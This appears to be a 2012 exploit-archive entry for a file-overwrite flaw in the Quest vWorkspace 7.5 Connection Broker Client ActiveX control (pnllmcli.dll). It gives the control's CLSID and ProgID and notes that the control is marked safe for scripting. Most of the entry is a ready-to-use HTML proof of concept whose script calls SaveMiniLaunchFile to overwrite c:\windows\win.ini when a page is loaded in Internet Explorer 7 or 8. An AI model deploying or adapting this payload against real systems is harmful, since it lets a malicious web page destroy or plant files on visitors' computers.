[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Quest vWorkspace 7.5 Connection Broker Client ActiveX Control (pnllmcli.dll 7.5.304.547) SaveMiniLau
# Published : 2012-04-05
# Author :
# Previous Title : Samsung NET-i viewer Multiple ActiveX BackupToAvi() Remote Overflow
# Next Title : IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploa


<!--
Quest vWorkspace 7.5 Connection Broker Client ActiveX Control (pnllmcli.dll 7.5.304.547) 
SaveMiniLaunchFile() Method Remote File Creation / Overwrite

ie7/8

vendor site: http://www.quest.com/
file tested: Quest_vWorkspace-75--32-bit_75.zip

Binary Path: C:WINDOWSsystem32pnllmcli.dll
CLSID: {D9397163-A2DB-4A4A-B2C9-34E876AF2DFC}
Progid: PNLLM.Client.1
Safe For Initialization (Registry): True
Safe For Scripting (Registry): True

rgod
-->
<!-- saved from url=(0014)about:internet --> 
<html>
<script>
  var obj = new ActiveXObject("PNLLM.Client.1");
  obj.SaveMiniLaunchFile("","c:\windows\win.ini");
</script>